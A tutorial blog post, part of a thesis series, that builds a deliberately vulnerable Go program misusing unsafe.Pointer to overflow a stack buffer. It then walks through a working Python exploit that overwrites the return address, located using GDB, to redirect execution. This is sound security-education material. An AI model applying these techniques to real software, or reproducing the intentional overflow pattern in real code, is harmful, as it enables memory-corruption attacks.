DEV Community

Johannes Lauinger
Johannes Lauinger

Posted on • Edited on

Exploitation Exercise with Go unsafe.Pointer: Code Flow Redirection (Part 2)

In this second part, we will evolve from reading memory to redirecting the code flow. This means we will be controlling what is being executed.

Buffer overflow, part 2: controlling the return address

In the first part we learned that local variables are located on the stack at addresses just below the return address. When the function returns, it will increment the stack pointer to the point where no space for local variables is used, effectively freeing them. The stack pointer $rsp will then point to the stored return address.

Now comes the ret machine instruction. It is actually equivalent to pop $rip or even mov $rip, [$rsp]; add $rsp, 8. The processor will fetch the address stored on the top of the stack, put it into the instruction pointer register, and continue execution at that address.

Return to saved RIP

If we can somehow change the return address stored on the stack to an address we can control, we can change the program control flow.

Code flow redirection POC

To see how we can actually exploit this, we will have a look at a proof of concept exploit with an example program.

First, we create a win function to be compiled into the binary. We can use it as a target to redirect the code flow to. This is a good first step in learning code flow exploitation. The function does not do very much, it simply prints "win!" so that we know we did good:

func win() {
    fmt.Println("win!")
}
Enter fullscreen mode Exit fullscreen mode

The main function of the program looks like this:

// initialize the reader outside of the main function to simplify POC development, as 
// there are less local variables on the stack.
var reader = bufio.NewReader(os.Stdin)

func main() {
    // this is a harmless buffer, containing some harmless data
    harmlessData := [8]byte{'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A'}

    // create a slice of length 512 byte, but assign the address of the harmless data as
    // its buffer. Use the reflect.SliceHeader to change the slice
    confusedSlice := make([]byte, 512)
    sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&confusedSlice))
    harmlessDataAddress := uintptr(unsafe.Pointer(&(harmlessData[0])))
    sliceHeader.Data = harmlessDataAddress

    // now read into the confused slice from STDIN. This is not quite as bad as a gets()
    // call in C, but almost. The function will read up to 512 byte, but the underlying
    // buffer is only 8 bytes. This function is pretty much the complete vulnerability
    _, _ = reader.Read(confusedSlice)
}
Enter fullscreen mode Exit fullscreen mode

There is a buffer of length 8 bytes with some harmless data. It is created as a local variable, which means it will live on the stack at an address a bit lower than the return address.

Next, we will simulate an almost-as-bad coding practice as calling the gets() function in a C code. We will deliberately create a buffer overflow vulnerability. Recall that Go has some safety features that prevent buffer overflows, so for this to work we are using the unsafe.Pointer type.

We initialize a slice with initial length and capacity 512 bytes. The slice is actually placed on the heap, not the stack, but that is irrelevant for the vulnerability. Next, using the reflect.SliceHeader structure we can extract the slice header data structure that Go uses internally to represent the slice. It looks like this:

type SliceHeader struct {
    Data uintptr
    Len  int
    Cap  int
}
Enter fullscreen mode Exit fullscreen mode

The length and capacity are 512 in this case, and Data is a pointer to the underlying array that contains the elements in the slice. Now, using the magic of unsafe pointers we can obtain the address of the 8 byte harmless buffer, cast it into a uintptr address value and replace the Data pointer with that address. This way, the slice will now point to the small buffer as its underlying array, but the length will still be set to 512 bytes.

This is a misuse of the unsafe package and it creates a very dangerous situation: Calling reader.Read() in the next statement will fill the slice with data from standard input, but the function thinks it is safe to read up to 512 bytes while the underlying array is only 8 bytes long. This is not completely identical to the unbounded gets() call, but the effect is the same as the confused slice is more than long enough to provide an attack surface.

To sketch a threat model, recall the binary communication protocol from the last part of this blog series. We mentioned that in order to have dynamic packet lengths, we would add a length field. If we write the code for the server application without the dangers of explicitly creating slice headers in mind, we could simply use the length coming from the request data as length for our slice. This would create a situation similar to the one above, and because the length would be set by an attacker, a bit closer to the Heartbleed bug as well.

Crafting a binary exploit

Now, how can we use this buffer overflow vulnerability and create an actual exploit that will put a meaningful address into the stack at exactly the right position to be loaded into the instruction pointer? For this, we will use GDB.

Playing around with the program shows an input prompt that reads some data and then seems to just swallow it:

$ ./main 
Hello World
$ 
Enter fullscreen mode Exit fullscreen mode

However, putting in a large string will crash the program. That is a pretty good hint that there is potential to exploit a buffer overflow.

$ ./main
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
unexpected fault address 0x0
fatal error: fault
[signal SIGSEGV: segmentation violation code=0x80 addr=0x0 pc=0x4925d1]

goroutine 1 [running]:
runtime.throw(0x4c1077, 0x5)
    /usr/lib/go/src/runtime/panic.go:1112 +0x72 fp=0xc000110f50 sp=0xc000110f20 pc=0x42ebd2
runtime.sigpanic()
    /usr/lib/go/src/runtime/signal_unix.go:694 +0x3cc fp=0xc000110f80 sp=0xc000110f50 pc=0x4429dc
runtime: unexpected return pc for main.main called from 0x4141414141414141
stack: frame={sp:0xc000110f80, fp:0xc000110f88} stack=[0xc000110000,0xc000111000)
000000c000110e80:  0000000000000001  0000000000000000 
000000c000110e90:  000000c000110ed0  0000000000430404 <runtime.gwrite+164> 
000000c000110ea0:  0000000000000002  00000000004c0dd6 
000000c000110eb0:  0000000000000001  0000000000000001 
000000c000110ec0:  000000c000110f3d  0000000000000003 
000000c000110ed0:  000000c000110f20  0000000000430c28 <runtime.printstring+120> 
000000c000110ee0:  000000000042ed97 <runtime.fatalthrow+87>  000000c000110ef0 
000000c000110ef0:  0000000000458580 <runtime.fatalthrow.func1+0>  000000c000000180 
000000c000110f00:  000000000042ebd2 <runtime.throw+114>  000000c000110f20 
000000c000110f10:  000000c000110f40  000000000042ebd2 <runtime.throw+114> 
000000c000110f20:  000000c000110f28  0000000000458500 <runtime.throw.func1+0> 
000000c000110f30:  00000000004c1077  0000000000000005 
000000c000110f40:  000000c000110f70  00000000004429dc <runtime.sigpanic+972> 
000000c000110f50:  00000000004c1077  0000000000000005 
000000c000110f60:  4141414141414141  0000000000000000 
000000c000110f70:  4141414141414141  00000000004925d1 <main.main+177> 
000000c000110f80: <4141414141414141 >4141414141414141 
000000c000110f90:  4141414141414141  4141414141414141 
000000c000110fa0:  4141414141414141  4141414141414141 
000000c000110fb0:  4141414141414141  4141414141414141 
000000c000110fc0:  4141414141414141  4141414141414141 
000000c000110fd0:  4141414141414141  4141414141414141 
000000c000110fe0:  4141414141414141  4141414141414141 
000000c000110ff0:  4141414141414141  4141414141414141 
main.main()
    /tmp/code-injection/main.go:28 +0xb1 fp=0xc000110f88 sp=0xc000110f80 pc=0x4925d1
Enter fullscreen mode Exit fullscreen mode

In the resulting stack trace, we can even see a lot of 0x41 values, which is the ASCII value for the letter A.

It is time to debug the program with GDB and see where the instruction pointer actually points to after the function return. This way, we can adjust the number of bytes that we need to scramble into the program before we can put our exploit payload, overwriting the return address on the stack.

To do this, I create a Python script to produce the exploit payload:

#!/usr/bin/env python2

pattern = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV"
print(pattern)
Enter fullscreen mode Exit fullscreen mode

The pattern consists of letters in ascending order. This is a pattern that is easily recognizable in the hex outputs of GDB and really useful to determine the return address offset on the stack.

In GDB, start the program like this:

gdb-peda$ run <<<$(./exploit_win.py)
[...]
Stopped reason: SIGSEGV
0x00000000004925d1 in main.main () at main.go:28
Enter fullscreen mode Exit fullscreen mode

We pipe the output of the exploit script into the program, and we see that the program receives a SIGSEGV segmentation fault signal. This signal means that the processor tried to read or write data at an invalid address, here it's because it tried to execute the ret instruction and jump to an address consisting of our ASCII characters. To see which address the CPU would jump to, we need to look at the top of the stack:

gdb-peda$ x/8wx $rsp
0xc000068f80:   0x4f4f4f4f  0x50505050  0x51515151  0x52525252
0xc000068f90:   0x53535353  0x54545454  0x55555555  0x56565656
Enter fullscreen mode Exit fullscreen mode

Using the x command, we inspect 8 words of data (each word is 4 bytes in GDB) and print them in hexadecimal form. The first two blocks (8 bytes total) are the 64-bit word that the CPU wants to put into the $rip register. We can see that it is 0x4f4f4f4f50505050. Looking at the ASCII table, we see that it corresponds to OOOOPPPP, and therefore we need to cut the padding just before the O's and replace those eight characters with the address we want to jump to.

Just before closing GDB, let's quickly use it to find the address of our specially crafted win function. First, try to directly access its address:

gdb-peda$ x main.win
No symbol "main.win" in current context.
Enter fullscreen mode Exit fullscreen mode

We see that there doesn't seem to be any function called win. This is because the Go compiler decided to inline the function (we can see the inlining decisions by compiling with go build -gcflags='-m'). Let's instead just directly jump to the address of the print call that will show us the win message. We search for it in the disassembly of the main function:

gdb-peda$ disassemble main.main
Dump of assembler code for function main.main:
   0x0000000000492520 <+0>: mov    rcx,QWORD PTR fs:0xfffffffffffffff8
   0x0000000000492529 <+9>: cmp    rsp,QWORD PTR [rcx+0x10]
   0x000000000049252d <+13>:    jbe    0x49262d <main.main+269>
   0x0000000000492533 <+19>:    sub    rsp,0x78
   0x0000000000492537 <+23>:    mov    QWORD PTR [rsp+0x70],rbp
   0x000000000049253c <+28>:    lea    rbp,[rsp+0x70]
   0x0000000000492541 <+33>:    mov    rax,QWORD PTR [rip+0x48e10]        # 0x4db358
   0x0000000000492548 <+40>:    mov    QWORD PTR [rsp+0x40],rax
   0x000000000049254d <+45>:    lea    rax,[rip+0xe82c]        # 0x4a0d80
   0x0000000000492554 <+52>:    mov    QWORD PTR [rsp],rax
   0x0000000000492558 <+56>:    mov    QWORD PTR [rsp+0x8],0x200
   0x0000000000492561 <+65>:    mov    QWORD PTR [rsp+0x10],0x200
   0x000000000049256a <+74>:    call   0x443670 <runtime.makeslice>
   0x000000000049256f <+79>:    mov    rax,QWORD PTR [rsp+0x18]
   0x0000000000492574 <+84>:    mov    QWORD PTR [rsp+0x58],rax
   0x0000000000492579 <+89>:    mov    QWORD PTR [rsp+0x60],0x200
   0x0000000000492582 <+98>:    mov    QWORD PTR [rsp+0x68],0x200
   0x000000000049258b <+107>:   lea    rax,[rsp+0x40]
   0x0000000000492590 <+112>:   mov    QWORD PTR [rsp+0x58],rax
   0x0000000000492595 <+117>:   mov    rax,QWORD PTR [rip+0xd3ce4]        # 0x566280 <main.reader>
   0x000000000049259c <+124>:   mov    QWORD PTR [rsp],rax
   0x00000000004925a0 <+128>:   mov    rax,QWORD PTR [rsp+0x58]
   0x00000000004925a5 <+133>:   mov    QWORD PTR [rsp+0x8],rax
   0x00000000004925aa <+138>:   mov    QWORD PTR [rsp+0x10],0x200
   0x00000000004925b3 <+147>:   mov    QWORD PTR [rsp+0x18],0x200
   0x00000000004925bc <+156>:   call   0x46b740 <bufio.(*Reader).Read>
   0x00000000004925c1 <+161>:   cmp    BYTE PTR [rsp+0x40],0x2a
   0x00000000004925c6 <+166>:   je     0x4925d2 <main.main+178>
   0x00000000004925c8 <+168>:   mov    rbp,QWORD PTR [rsp+0x70]
   0x00000000004925cd <+173>:   add    rsp,0x78
=> 0x00000000004925d1 <+177>:   ret    
   0x00000000004925d2 <+178>:   nop
   0x00000000004925d3 <+179>:   xorps  xmm0,xmm0
   0x00000000004925d6 <+182>:   movups XMMWORD PTR [rsp+0x48],xmm0
   0x00000000004925db <+187>:   lea    rax,[rip+0xe65e]        # 0x4a0c40
   0x00000000004925e2 <+194>:   mov    QWORD PTR [rsp+0x48],rax
   0x00000000004925e7 <+199>:   lea    rax,[rip+0x491b2]        # 0x4db7a0
   0x00000000004925ee <+206>:   mov    QWORD PTR [rsp+0x50],rax
   0x00000000004925f3 <+211>:   mov    rax,QWORD PTR [rip+0xd3c9e]        # 0x566298 <os.Stdout>
   0x00000000004925fa <+218>:   lea    rcx,[rip+0x4a95f]        # 0x4dcf60 <go.itab.*os.File,io.Writer>
   0x0000000000492601 <+225>:   mov    QWORD PTR [rsp],rcx
   0x0000000000492605 <+229>:   mov    QWORD PTR [rsp+0x8],rax
   0x000000000049260a <+234>:   lea    rax,[rsp+0x48]
   0x000000000049260f <+239>:   mov    QWORD PTR [rsp+0x10],rax
   0x0000000000492614 <+244>:   mov    QWORD PTR [rsp+0x18],0x1
   0x000000000049261d <+253>:   mov    QWORD PTR [rsp+0x20],0x1
   0x0000000000492626 <+262>:   call   0x48bf10 <fmt.Fprintln>
   0x000000000049262b <+267>:   jmp    0x4925c8 <main.main+168>
   0x000000000049262d <+269>:   call   0x459ae0 <runtime.morestack_noctxt>
   0x0000000000492632 <+274>:   jmp    0x492520 <main.main>
End of assembler dump.
Enter fullscreen mode Exit fullscreen mode

It might not be completely obvious where the function starts, but given the call to win that we added to stop the compiler from removing the function altogether was inside an if-statement, it is reasonable that the function would be at the target of some conditional jump instruction (je in line <+161> here): it is at line <+178>, starting with a NOP instruction. Skipping the NOP, we can use line <+179> or address 0x00000000004925d3 as target.

So let's update the exploit code to use the correct padding and the target address:

#!/usr/bin/env python2

import struct

padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN"
win_p = struct.pack("Q", 0x4925d3)

print(padding + win_p)
Enter fullscreen mode Exit fullscreen mode

Running the program with this input creates the following output:

$ ./exploit_win.py | ./main
win!
unexpected fault address 0xc000072000
fatal error: fault
[signal SIGSEGV: segmentation violation code=0x2 addr=0xc000072000 pc=0xc000072000]

goroutine 1 [running]:
runtime.throw(0x4c1077, 0x5)
    /usr/lib/go/src/runtime/panic.go:1112 +0x72 fp=0xc000070fd8 sp=0xc000070fa8 pc=0x42ebd2
runtime: unexpected return pc for runtime.sigpanic called from 0xc000072000
stack: frame={sp:0xc000070fd8, fp:0xc000071008} stack=[0xc000070000,0xc000071000)
000000c000070ed8:  000000c000070fbc  000000c000070f18 
000000c000070ee8:  000000000043023b <runtime.recordForPanic+299>  0000000000590565 
000000c000070ef8:  00000000004c0dd6  0000000000000001 
000000c000070f08:  0000000000000001  0000000000000000 
000000c000070f18:  000000c000070f58  0000000000430404 <runtime.gwrite+164> 
000000c000070f28:  0000000000000002  00000000004c0dd6 
000000c000070f38:  0000000000000001  0000000000000001 
000000c000070f48:  000000c000070fbc  000000000000000c 
000000c000070f58:  000000c000070fa8  0000000000430c28 <runtime.printstring+120> 
000000c000070f68:  000000000042ed97 <runtime.fatalthrow+87>  000000c000070f78 
000000c000070f78:  0000000000458580 <runtime.fatalthrow.func1+0>  000000c000000180 
000000c000070f88:  000000000042ebd2 <runtime.throw+114>  000000c000070fa8 
000000c000070f98:  000000c000070fc8  000000000042ebd2 <runtime.throw+114> 
000000c000070fa8:  000000c000070fb0  0000000000458500 <runtime.throw.func1+0> 
000000c000070fb8:  00000000004c1077  0000000000000005 
000000c000070fc8:  000000c000070ff8  00000000004429dc <runtime.sigpanic+972> 
000000c000070fd8: <00000000004c1077  0000000000000005 
000000c000070fe8:  0000000000000000  000000c000072000 
000000c000070ff8:  0000000000000000 
runtime.sigpanic()
    /usr/lib/go/src/runtime/signal_unix.go:694 +0x3cc fp=0xc000071008 sp=0xc000070fd8 pc=0x4429dc
Enter fullscreen mode Exit fullscreen mode

Quite obvious from the big stack trace, we see that the program crashed. But more importantly, we see the win! output right at the top, which means that the win function was indeed executed. We don't actually care about the program crash, the objective was to decide which code should be executed and this was successful!

Complete POC code

You can read the full POC code in the Github repository that I created for this post series:

GitHub logo jlauinger / go-unsafepointer-poc

Golang example code showing dangers with unsafe.Pointer usages

Acknowledgments

This blog post was written as part of my work on my Master's thesis at the
Software Technology Group at TU Darmstadt.

Next week we are going to continue with part 3: Spawning a shell using Return Oriented Programming (ROP)

Top comments (0)